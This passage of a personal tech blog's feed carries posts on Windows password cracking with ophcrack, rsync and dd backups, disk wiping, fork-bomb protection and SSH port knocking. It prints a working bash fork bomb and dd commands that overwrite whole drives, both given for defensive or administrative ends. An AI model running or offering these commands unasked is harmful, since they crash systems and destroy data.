&lt;p&gt;&lt;code&gt;nbtstat -a 192.168.1.103&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I believe this only works if they have netbios enabled&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 4</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-4/index.html" />
		<updated>2008-04-13T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-4/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://news.bbc.co.uk/2/hi/technology/7340315.stm&#34;&gt;Computer viruses hit one million&lt;/a&gt; - Apparently Symantec just published a report that says their are now over a million known computer viruses.  This is funny since I can&amp;rsquo;t really even remember that last time I have seen/had one.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.ex-parrot.com/~pete/upside-down-ternet.html&#34;&gt;So neighbors steal your wi-fi, kill the link or&amp;hellip; have fun!&lt;/a&gt; - This is a great article that shows how you can exploit  people that connect/hack your wireless network.  Instead of disconnecting them they turn all their web pages blurry and upside down.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://rangit.com/software/top-8-linux-games-of-2007/&#34;&gt;25 Games for Linux&lt;/a&gt; - As many know Linux is not really know for gaming since the game developers like to ignore us Linux users.  Fortunately here is a good list of fun games that work natively in Linux.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://hehe2.net/linux-general/etymology-of-a-distro/&#34;&gt;Etymology of a Distro&lt;/a&gt; - If you ever wondered where they came up with that goofy name for your favorite Linux distro this is a great article to check out.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://code.google.com/edu/&#34;&gt;Google Code University&lt;/a&gt; - Free programming training from Google&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://sixrevisions.com/rapid-development/10_ajax_effects_website_fanciness&#34;&gt;10 JavaScript Effects to Boost Your Website’s Fanciness Factor&lt;/a&gt; - Some of the effects in this article are incredibly useful and easy to install.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://sixrevisions.com/resources/helpful_wordpress_plugins_advanced_users&#34;&gt;15 helpful WordPress plugins for the savvy user&lt;/a&gt; - Here are a few Wordpress plugins that you should check out.  I personally use a lot of the plugins mentioned here.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://csrc.nist.gov/itsec/download_WinXP.html&#34;&gt; - Securing Windows XP Systems for IT Professionals&lt;/a&gt; - This is a great guide put out but the National Institute of Standards and Technology on securing Windows XP systems.  I sometimes refer to this guide when securing Windows systems.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Crack Windows XP and Vista Passwords in Seconds</title>
		<link href="https://www.marksanborn.net/security/crack-windows-xp-and-vista-passwords-in-seconds/index.html" />
		<updated>2008-04-10T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/crack-windows-xp-and-vista-passwords-in-seconds/index.html</id>
		<content type="html">&lt;p&gt;Back in the day there used to be a program called lophcrack that was fairly good at cracking Windows passwords.  Fortunately it wasn&amp;rsquo;t very effective for cracking &lt;a href=&#34;/security/picking-strong-passwords-that-you-can-remember/&#34;&gt;strong passwords&lt;/a&gt;.  Today I ran a newer cracking program on my computer called, &lt;a href=&#34;http://ophcrack.sourceforge.net/&#34;&gt;ophcrack&lt;/a&gt;.  As some of you know I tend to have extremely secure passwords contain numbers, letters, and other special characters.  Not only did ophcrack find my password it found all but one character in my password in less than 20 seconds.  That leads me to believe that it can crack pretty much any length of password in minutes.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ophcrack is a Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a GTK+ Graphical User Interface and runs on Windows, Mac OS X (Intel CPU) as well as on Linux.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I can only imagine people using this on public computers at a university or somewhere to get administrator passwords and such.  Typically if you have physical access to a computer you can alter password files and reset them but resetting a password is a sure sign that someone has done something.  If you can simply figure out what the password is and use it, they will have no idea.&lt;/p&gt;

&lt;p&gt;Ophcrack may be a good tool for people that forget their passwords but it poses a fairly large security risk to many people.  Based on my experience people tend to have only one or two passwords that they use and the password they choose for windows is usually the same for email, online banking, or other sensitive services.  If you crack their windows password there is a good chance you can login to their email service too.  Email is one of the most precious things to safe guard because once compromised you can request passwords to other online services at will.&lt;/p&gt;

&lt;p&gt;Moral of the story would be to pick a &lt;a href=&#34;/security/picking-strong-passwords-that-you-can-remember/&#34;&gt;different secure password&lt;/a&gt; for each service that you use.  I guess I can add this as another &lt;a href=&#34;/software/10-reasons-why-i-hate-microsoft-windows/&#34;&gt;reason I Hate Microsoft Windows&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Use Rsync for Daily, Weekly and Full Monthly Backups</title>
		<link href="https://www.marksanborn.net/howto/use-rsync-for-daily-weekly-and-full-monthly-backups/index.html" />
		<updated>2024-04-26T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/use-rsync-for-daily-weekly-and-full-monthly-backups/index.html</id>
		<content type="html">&lt;p&gt;Today, we will be using rsync to make daily, weekly, incremental backups and then a full compressed/archived backup once a month.  We will then use cron to automate the process.  Lets face it us humans get lazy sometimes and most backup systems loose complete effectiveness if they are not completely automated.&lt;/p&gt;

&lt;h3&gt;What is rsync?&lt;/h3&gt;

&lt;p&gt;Rsync is a great utility for syncing files/folders.  Many times it is used for producing incremental backups since it is capable of detecting what files are added and changed to a folder.  It usually does this by timestamps but it can be set to determine file changes wih a more precise (but slow) method using md5 hashes.  However, generating md5 hashes for detecting file changes is usually not required. In addition to incremental backups rsync will automatically compress/decompress files in transfer to speed up moving data when using the &lt;code&gt;-z&lt;/code&gt; option.&lt;/p&gt;

&lt;h3&gt;Syncing vs Full Backup&lt;/h3&gt;

&lt;p&gt;Before geting into the details I think it is worth explaining the difference between full backups and incremental backups.  With incremental backups I like to think of them as syncing.  You are making the two sets of data match.  For example, if one data set contains one extra file the incremental backup will only add that one file to the backup.  As opposed to re-copying the other files.  This is useful for maintaining frequent backups without the added bandwidth or processing overhead.&lt;/p&gt;

&lt;h3&gt;Installing rsync for Debian / Ubuntu&lt;/h3&gt;

&lt;p&gt;If rsync is not installed on your Debian / Ubuntu system you can install it with your preferred method or use aptitude:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo apt install rsync
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You can install rsync on Arch Linux with &lt;code&gt;sudo pacman -Syu rsync&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Installing rsync for FreeBSD&lt;/h3&gt;

&lt;p&gt;It is prefered to compile applications in FreeBSD rather than binary packages.  So we will install it with the following commands:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /usr/local/ports/net/rsync
make install clean`
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you are prompted with make instructions the defaults are fine.&lt;/p&gt;

&lt;h3&gt;Syncing Two Folders for Daily Backup&lt;/h3&gt;

&lt;p&gt;For our daily backup we will use the incremental method since it will be very frequent.  We also don&amp;rsquo;t want to waste disk space, use unnecessary write operations, and CPU cycles by doing a full backup.&lt;/p&gt;

&lt;p&gt;To sync one folder to the next we use the following command:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;rsync –av /path/to/source /home/mark/rsync/daily
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The &amp;lsquo;&lt;strong&gt;a&lt;/strong&gt;&amp;rsquo; flag tells rsync to go into archive mode.
The &amp;lsquo;&lt;strong&gt;v&lt;/strong&gt;&amp;rsquo; option is just verbose (show details).&lt;/p&gt;

&lt;p&gt;Now this should copy/sync all of the files from one folder to the other.  If the files already exist and they have not been modified since the last time you run this command it will simply copy those files.  So basically when you run this command it will backup the files that have changed since the day before.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adding the &amp;ndash;delete flag.&lt;/strong&gt;  By default rsync does not delete files in the backup if they were deleted in the source.  This is rsync&amp;rsquo;s way of protecting you from deleting the entire backup directly on accident.  To force rsync to delete files we do this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ rsync –av --delete /path/to/source /home/mark/rsync/daily
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will ensure that we are not backing up deleted files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; When using the &lt;strong&gt;&amp;ndash;delete flag&lt;/strong&gt; be sure to check your command twice.  If you reverse the source with the destination you will sync your data with an empty folder.  You will be left with two empty folders!&lt;/p&gt;

&lt;h3&gt;Weekly Sync&lt;/h3&gt;

&lt;p&gt;For our weekly sync will just sync with the latest daily folder.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;rsync –av --delete /home/mark/rsync/daily /home/mark/rsync/weekly
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We run this command once a week to maintain our weekly incremental backup.  Now if we accidentally deleted something last Tuesday and just noticed it on Friday we will have a backup.&lt;/p&gt;

&lt;h3&gt;Full Monthly Backup&lt;/h3&gt;

&lt;p&gt;Since we are going to keep full monthly backups and they won&amp;rsquo;t be accessed frequently we can compress them with bzip.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;tar -cvjf /home/mark/rsync/monthly/monthly.tar.bz2 daily/
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now since we are archiving our full backups monthly we want to be sure not to over write an existing monthly backup.  We will do this by naming each one with the date.  Instead of the command above use this one, to add the date to each filename.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;tar -cvjf /home/mark/rsync/monthly/monthly_$(date +%Y%m%d).tar.bz2 /home/rsync/daily/
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now you should have all the commands to set up a rotating backup daily, weekly and a full monthly backup.  The only thing now is to execute those commands every day, week, and end of the month.&lt;/p&gt;

&lt;h3&gt;Automate the Process with Cron&lt;/h3&gt;

&lt;p&gt;It is not a proper backup solution unless it is automated. We will use cron to set up daily, weekly, and monthly jobs.&lt;/p&gt;

&lt;p&gt;Modify your cron schedule:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;crontab -e
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now add the following lines of code:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    30 17 * * * rsync –av --delete /path/to/source /home/mark/rsync/daily
    00 18 * * 5 rsync –av --delete /home/mark/rsync/daily /home/mark/rsync/weekly
    00 6 1 * * tar -cvjf /home/mark/rsync/monthly/monthly_$(date +%Y%m%d).tar.bz2 /home/rsync/daily/
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;This example cron setup will backup daily at 5:30PM.&lt;/li&gt;
&lt;li&gt;Backup every Friday at 6:00PM.&lt;/li&gt;
&lt;li&gt;Do the full backup on the first of each month at 6:00AM&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For more information on cron see,  &lt;a href=&#34;/linux/learning-cron-by-example/&#34;&gt;Learning Cron by Example&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now you will need to tailor this to the usage patterns of you or your users.  You should also allow enough time for the daily backup to finish before doing the weekly.  In this example on Fridays I allowed 59 minutes for the daily backup to finish.  If you are worried about the sync time running into each other you can schedule your daily backup in the morning and your Friday weekly backup at night.&lt;/p&gt;

&lt;p&gt;If you want to find out how long it is currently taking to do a backup add &amp;lsquo;&lt;strong&gt;time&lt;/strong&gt;&amp;rsquo; command to the beginning of each command.&lt;/p&gt;

&lt;h3&gt;Tell Cron to be Quiet&lt;/h3&gt;

&lt;p&gt;Cron by default sends emails with the output of the command.  If you don&amp;rsquo;t want to get emails you can pipe the cron comands to &lt;strong&gt;/dev/null&lt;/strong&gt;.  Add this to the end of each cron line:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>Duplicating a CD with DD</title>
		<link href="https://www.marksanborn.net/howto/duplicating-a-cd-with-dd/index.html" />
		<updated>2008-04-08T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/duplicating-a-cd-with-dd/index.html</id>
		<content type="html">&lt;p&gt;Want to make an exact copy of a CD without installing k3b or some other burning software?  You can do it in Linux/Freebsd with one line of code using dd.  The nice thing about dd is that it will make a disk level duplicate of the CD.  It should be a 100% exact copy.&lt;/p&gt;

&lt;p&gt;Just replace the &amp;lsquo;&lt;strong&gt;/dev/hdc&lt;/strong&gt;&amp;rsquo; with your cdrom device and change &amp;lsquo;&lt;strong&gt;/path/toSave/CopyOfCD.iso&lt;/strong&gt;&amp;rsquo; to the place you want to store it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ dd if=/dev/hdc of=/path/toSave/CopyOfCD.iso bs=2048 conv=sync,notrunc&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To mount it and list the contents:&lt;/p&gt;

&lt;p&gt;`# mkdir /mnt/myCD&lt;/p&gt;

&lt;h1&gt;mount -o loop /home/mark/CopyOfCD.iso /mnt/myCD&lt;/h1&gt;

&lt;p&gt;$ CD /mnt/myCD
$ ls`&lt;/p&gt;

&lt;p&gt;You can burn with this command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cdrecord -dao -speed=CHANGEME -dev=CHANGEME CopyOfCD.iso&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Wiping a Hard Drive with DD</title>
		<link href="https://www.marksanborn.net/howto/wiping-a-hard-drive-with-dd/index.html" />
		<updated>2008-04-07T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/wiping-a-hard-drive-with-dd/index.html</id>
		<content type="html">&lt;p&gt;A common assumption is that deleting or formatting a hard drive will be enough but in fact the data is still recoverable.  In fact is fairly trivial and the process is quite easy to restore them.  For this reason security is a great concern, especially for those who are selling or donating their old computers.  I am going to show you a simple technique for erasing the entire drive.  This is the same procedure that the US Government DoD uses to secure their own drives.&lt;/p&gt;

&lt;p&gt;When you delete a file or format a hard drive you are basically just telling the computer that it can use this portion of the disk again if it is needed.  If that portion of the disk is not every written over again.  The data will remain indefinitely.  So, in order to make deleted data unrecoverable we must write over it.&lt;/p&gt;

&lt;h3&gt;Wiping the Drive&lt;/h3&gt;

&lt;p&gt;Using dd to write over your entire drive with 0s:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;dd if=/dev/zero of=/dev/hda
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This would effectively write over the entire drive with ascii code 0x00 characters.&lt;/p&gt;

&lt;p&gt;At this point the chances for recovering any data would be almost hopeless to most data recovering techniques.&lt;/p&gt;

&lt;p&gt;Due to the way hard drives are made it is often possible to determine what was written beneath the most current write operation.  If you write the entire drive with zeros, it will be quite easy to see what data was written before.  It will be the one that is not a zero!&lt;/p&gt;

&lt;p&gt;To further complicate the recovering process we will write over the entire drive with random data.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;dd if=/dev/urandom of=/dev/hda
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will write over drive &amp;lsquo;&lt;strong&gt;hda&lt;/strong&gt;&amp;rsquo; with random data.  Now the recovering process is hopeless.&lt;/p&gt;

&lt;p&gt;If you are really paranoid or just want to be ultra secure you could write  over the drive 7 times with random data.  This is the same procedure the US Government uses to secure its own data.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/bin/bash 
for n in `seq 7`; do dd if=/dev/urandom of=/dev/sda bs=8b conv=notrunc; done
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code&gt;# chmod a+x wipeIt
sh wipeIt`
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Notrunc&lt;/strong&gt; means &amp;lsquo;do not truncate the output file&amp;rsquo;.&lt;/p&gt;

&lt;h3&gt;Other tools commonly used for wiping hard drives.&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;http://dban.sourceforge.net/&#34;&gt;Darik&amp;rsquo;s Boot and Nuke&lt;/a&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 3</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-3/index.html" />
		<updated>2008-04-05T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-3/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.scottklarr.com/topic/115/linux-unix-cheat-sheets---the-ultimate-collection/&#34;&gt;Linux-Unix cheat sheets - The ultimate collection&lt;/a&gt; - Largest collection of linux commands and cheat sheets that I have come across.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.puresimplicity.net/~hemi/freebsd/misc.html&#34;&gt;FreeBSD Information and Tips&lt;/a&gt; - This is a few nuggets of gold.  Worth checking out.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://teethgrinder.co.uk/open-flash-chart/&#34;&gt;Open Flash Chart&lt;/a&gt; - If you are making a website that needs some charts.  Open flash chart makes them like the charts found at finance.google.com and google analytics.  These charts look awesome.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blogs.zdnet.com/hardware/?p=1641&#34;&gt;Is Ubuntu becoming the generic Linux distro?&lt;/a&gt; - This is an article that brings up a good point.  Linux has always been spread out amongst a wide array of distributions suiting different needs and preferences.  Today Ubuntu is becoming a synonym for Linux.  This can&amp;rsquo;t be a good thing for Linux.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/04/colorblendersample1.gif&#34; alt=&#34;colorblendersample1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://websitetips.com/colortools/colorblender/&#34;&gt;Color Blender Tool&lt;/a&gt; - This tool is awsome.  It allows you to pick a range of colors and it will fill in different shades of colors inside that range.  This is great for comming up with color patterns or gradients.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.jeremymartin.name/projects.php?project=asciible&#34;&gt;Asciible&lt;/a&gt; - Sometimes when posting code on wordpress can be a pain.  This tool will convert all of your code to ascii.  This reduces the chance of the code causing weird layout problems.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.grc.com/securitynow.htm&#34;&gt;Security Now&lt;/a&gt; - Here is a podcast I have been listening to for a few years.  If you are into security or you just want to learn more don&amp;rsquo;t miss this.  This is probably the best podcast on security on the internet.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.grandcentral.com&#34;&gt;Grandcentral&lt;/a&gt; - Google recently bought this company out.  It is a service that allows you to basically have a disposible phone number that you can give out to anyone.  Based on the caller you have have specific ring tones, forward to different phones, block callers, and have a free voice mail.  As of right now it is free but it is in closed beta.  Still waiting on my number :(&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Make a Backup Image of your Hard Drive with DD</title>
		<link href="https://www.marksanborn.net/howto/make-a-backup-image-of-your-hard-drive-with-dd/index.html" />
		<updated>2008-04-04T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/make-a-backup-image-of-your-hard-drive-with-dd/index.html</id>
		<content type="html">&lt;p&gt;Dd is a tool that is often used in computer forensics because it is extremly low level and effecient at creating exact duplicates of hard drives.  For this reason it is often the tool for which all other tools are compared to.  But is it useful for us regular Joes?.   Can we use dd to create digital copies of our hard drives for backup reasons?  Yes we can, and I actually find that it is easier to use than commercially available solutions.&lt;/p&gt;

&lt;p&gt;Dd is not always the best solution for regular imaging of hard drives.  The reason for this is because dd literally makes exact copies of the hard drive it self not the actual data.  So what this means is that dd is making copies of data that remains on the hard drive long after you delete it.  This is one of the reasons that makes it a good tool for forensics but not so great for home users because that extra data that doesn&amp;rsquo;t need to be copied adds for a larger image file in the end.&lt;/p&gt;

&lt;p&gt;The dd image file can be compressed to save space.  Often times people will &amp;ldquo;zero out&amp;rdquo; the unused portions of the drive before imaging.  This will make compression for that part of the drive incredibily small.  What would normally be a few gigabytes of extra useless space could be reduced to a few kilobytes after you zero it out.&lt;/p&gt;

&lt;p&gt;&amp;ldquo;Zeroing out&amp;rdquo; the unused portion of the drive adds unneeded writing to the drive which could shorten the lifespan of the drive some what.  This is why DD is not necessarily the best solution for home imaging.  Instead you should consider using Norton Ghost or Acronis True Image.  If you are prefer to use free open source solutions, partimage would be a good alternative.  But it doesn&amp;rsquo;t support restoring entire drives.  Only partitions of drives.&lt;/p&gt;

&lt;p&gt;Now that you are aware that dd is not typically used for regular imaging I will describe how you can use it for creating an exact duplicate of your hard drive.&lt;/p&gt;

&lt;p&gt;Basic syntax:&lt;/p&gt;

&lt;p&gt;infile &amp;gt; outfile&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# dd if=/*source* of=/*destination*&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It is absolutely imperative that you understand the basic structure of the command.  Dd is so notorious for destroying data due to mis-typed commands that many people call it data destroy or disk destroy instead of its true name, data definition.  Most of these catosrophic data destroying events are caused by reversing the input with the output.  I am warning you now.  Check the command twice before entering!&lt;/p&gt;

&lt;p&gt;It is a good idea for the drive that is to be copied to be in read only mode.  This can be done by booting into a live linux CD like &lt;a href=&#34;http://www.knoppix.org/&#34;&gt;knoppix&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Now for examples&lt;/h3&gt;

&lt;p&gt;Cloneing one hard drive directly to another hard drive:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dd if=/dev/sda of=/dev/sdb bs=4096 conv=notrunc,noerror&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Ideally the second hard drive should be the exact same size.  If it is a larger drive the copy will now be formatted the same as the original, and there won&amp;rsquo;t be any space left on the drive.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Notrunc&lt;/strong&gt; flag means &amp;lsquo;do not truncate the output file&amp;rsquo;.
The &lt;strong&gt;Noerror&lt;/strong&gt; flag means to keep going if there is an error. Normally dd stops at any error.&lt;/p&gt;

&lt;p&gt;This will copy the entire drive to a compressed image file.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# dd if=/dev/sda ibs=4096 | gzip &amp;gt; partition.image.gz conv=noerror&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you want to restore the drive in the future you would use this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# dd if=partition.image.gz | gunzip | dd of=/dev/sdba&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Protecting Linux from Fork Bombs</title>
		<link href="https://www.marksanborn.net/linux/protecting-linux-from-fork-bombs/index.html" />
		<updated>2008-04-03T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/protecting-linux-from-fork-bombs/index.html</id>
		<content type="html">&lt;p&gt;Fork bombs are basically a never ending loop.  They open a processes that opens other processes that open even more processes exponentially.  Causing any computer to lock up within a matter of seconds.  Although they have to be ran from a logged in user they are still a threat.  Users can unintentionally cause a complete lockup of a production server.&lt;/p&gt;

&lt;p&gt;Here is an example of one of these fork bombs:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;:(){ :|:&amp;amp; }; :&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It looks harmless.  But I have to warn you.  It will lock up your system in a matter of seconds.  If you want to try it out on your own desktop for fun go ahead.  &lt;strike&gt;I think it will work on a Mac too&lt;/strike&gt;.  Mac has built in protection for this sort of attack.&lt;/p&gt;

&lt;h3&gt;How do we protect against it?&lt;/h3&gt;

&lt;p&gt;For Linux edit /etc/security/limits.conf and add these two lines.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;@users          soft    nproc  100
@users          hard    nproc  150&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;These lines will prevent anyone in the &amp;lsquo;&lt;strong&gt;users&lt;/strong&gt;&amp;rsquo; group from running more than 150 processes.  It will also warn the user after they reach 100 processes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;em&gt;This effects the group users.  If your users are under a different group you will need to change this.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;If you are not sure if your user in the &amp;lsquo;&lt;strong&gt;users&lt;/strong&gt;&amp;rsquo; group.  You can issue the command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ group&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If the user is not in the users group you will need to use the following command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# usermod -a -G users mark&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After adding the user to the group you may need to relogin to make sure you are now effected by groups.&lt;/p&gt;

&lt;p&gt;Now when you issue the command it should die with:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;-bash: fork: Resource temporarily unavailable&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You are now successfully protected against fork bombs.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Add Port Knocking to SSH for Extra Security</title>
		<link href="https://www.marksanborn.net/linux/add-port-knocking-to-ssh-for-extra-security/index.html" />
		<updated>2008-04-02T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/add-port-knocking-to-ssh-for-extra-security/index.html</id>
		<content type="html">&lt;p&gt;SSH by default is very strong.  It has protection against various hacks and known vulnerabilities.  For instance SSH has a password retry wait time of five seconds.  This makes the time for brute force attacking an SSH server very long and probably not effective.  However, sometimes script kiddies will fork their hacking program making multiple processes of the brute force attack.  Sometimes they are able to fork it off upwards of 1000 attempts every 5 seconds.  This drastically minimizes the time to crack short passwords.  If you think your users may have weak short passwords you may consider using &lt;a href=&#34;/security/ssh-using-keys-instead-of-passwords/&#34;&gt;public key authentication instead of passwords&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Fortuantely SSH comes with a limit on how many connections you allow at once.  I believe the default configuration only allows for 40 connections.  This along with public key authentication should be enough security to ward of any intrusion attempts.  But, what if there was a better way?  What if there was a way for the SSH server to appear to not exist?&lt;/p&gt;

&lt;p&gt;Well you can make SSH appear to not exist by simply changing the default port to a random port, maybe port 1027.  Since port 1027 is not a known SSH port people at first glance will not associate it with an SSH server.  However, modern day port scanners can tell not only what ports are open but they can also tell the intruder what service is running on that port.  Some port scanners can even list all known vulnerabilities for that service.  In fact this is how almost all worms spread themselves.  They scan for known open ports and then run a plethora of scripts to attempt to exploit the running service.&lt;/p&gt;

&lt;p&gt;With knowledge of the specific port and service that is open, hackers have what they need to start looking for exploits, vulnerabilites or ways to brute force attack your service or in this case SSH server.&lt;/p&gt;

&lt;p&gt;This is where the beauty of port knocking comes in.  With port knocking you block all incomming traffic to all ports, or in this case SSH.  Now when someone tries to do a port scan on port 22 or any other port for that matter they will see absolutely nothing.  It will be like the computer doesn&amp;rsquo;t exist.  Even YOU cannot connect to the SSH server on port 22.  All requests will be denied.&lt;/p&gt;

&lt;h3&gt;How do I gain access then?&lt;/h3&gt;

&lt;p&gt;You will use a knockd server on the remote server running SSH that will monitor all ports at the link layer.  It will be waiting for a special &amp;ldquo;knock&amp;rdquo;.  It will be waiting for you to attempt to gain access to X amount of ports within X seconds.  The definition of a valid knock is arbitrary, and up to the implementer.  A knock might be, a syn packet sent to these closed ports:&lt;/p&gt;

&lt;p&gt;Port 3000, 3001, 8000, 7555 within 4 seconds.&lt;/p&gt;

&lt;p&gt;If anyone does the specified knock within the designated time they will be allowed temporary access to port 22 for their IP address.  Once the port is opened it doesn&amp;rsquo;t mean you have access to that computer.  You will still have to then connect via SSH and login with your password or private key.  Port knocking is just an added layer of protection.  It is not intended to be a replacement for authentication.&lt;/p&gt;

&lt;p&gt;Although port knocking is awesome technology it is not for services that are intended for public use.  Its more for remote administrators that want to access the server without exposing ports generally for private use.&lt;/p&gt;

&lt;h3&gt;Setting it up on FreeBSD 7.0&lt;/h3&gt;

&lt;p&gt;`# cd /usr/ports/security/knock&lt;/p&gt;

&lt;h1&gt;make install clean`&lt;/h1&gt;

&lt;p&gt;Create edit &lt;strong&gt;/usr/local/etc/knockd.conf&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[options]
        logfile = /var/log/knockd.log
        interface = xl0

[openSSH]
        sequence    = 7000,8000,9000
        seq_timeout = 5
        command     = /sbin/ipfw -q add 00101 pass proto tcp src-ip %IP% dst-port 22
        tcpflags    = syn

[closeSSH]
        sequence    = 9000,8000,7000
        seq_timeout = 5
        command     = /sbin/ipfw -q delete 00101 pass proto tcp src-ip %IP% dst-port 22
        tcpflags    = syn
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now edit your &lt;strong&gt;/etc/rc.conf&lt;/strong&gt; and add these three lines to turn the firewall on&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# Enable Firewal
firewall_enable=&amp;quot;YES&amp;quot;
firewall_type=&amp;quot;open&amp;quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Available values for firewall_type:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;open&lt;/strong&gt; &amp;ndash; pass all traffic.
&lt;strong&gt;client&lt;/strong&gt; &amp;ndash; will protect only this machine.
&lt;strong&gt;simple&lt;/strong&gt; &amp;ndash; protect the whole network.
&lt;strong&gt;closed&lt;/strong&gt; &amp;ndash; entirely disables IP traffic except for the loopback interface.
&lt;strong&gt;UNKNOWN&lt;/strong&gt; &amp;ndash; disables the loading of firewall rules.
&lt;strong&gt;filename&lt;/strong&gt; &amp;ndash; absolute path of file containing firewall rules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;_Note:&lt;/strong&gt; If you don&amp;rsquo;t specify the firewall type it will default to deny all.  This is basically like turning of your internet.  We don&amp;rsquo;t usually want this so set it to open for now.  Later you will want to make a file with your specific settings._&lt;/p&gt;

&lt;p&gt;Now do a &lt;strong&gt;reboot&lt;/strong&gt;.&lt;/p&gt;

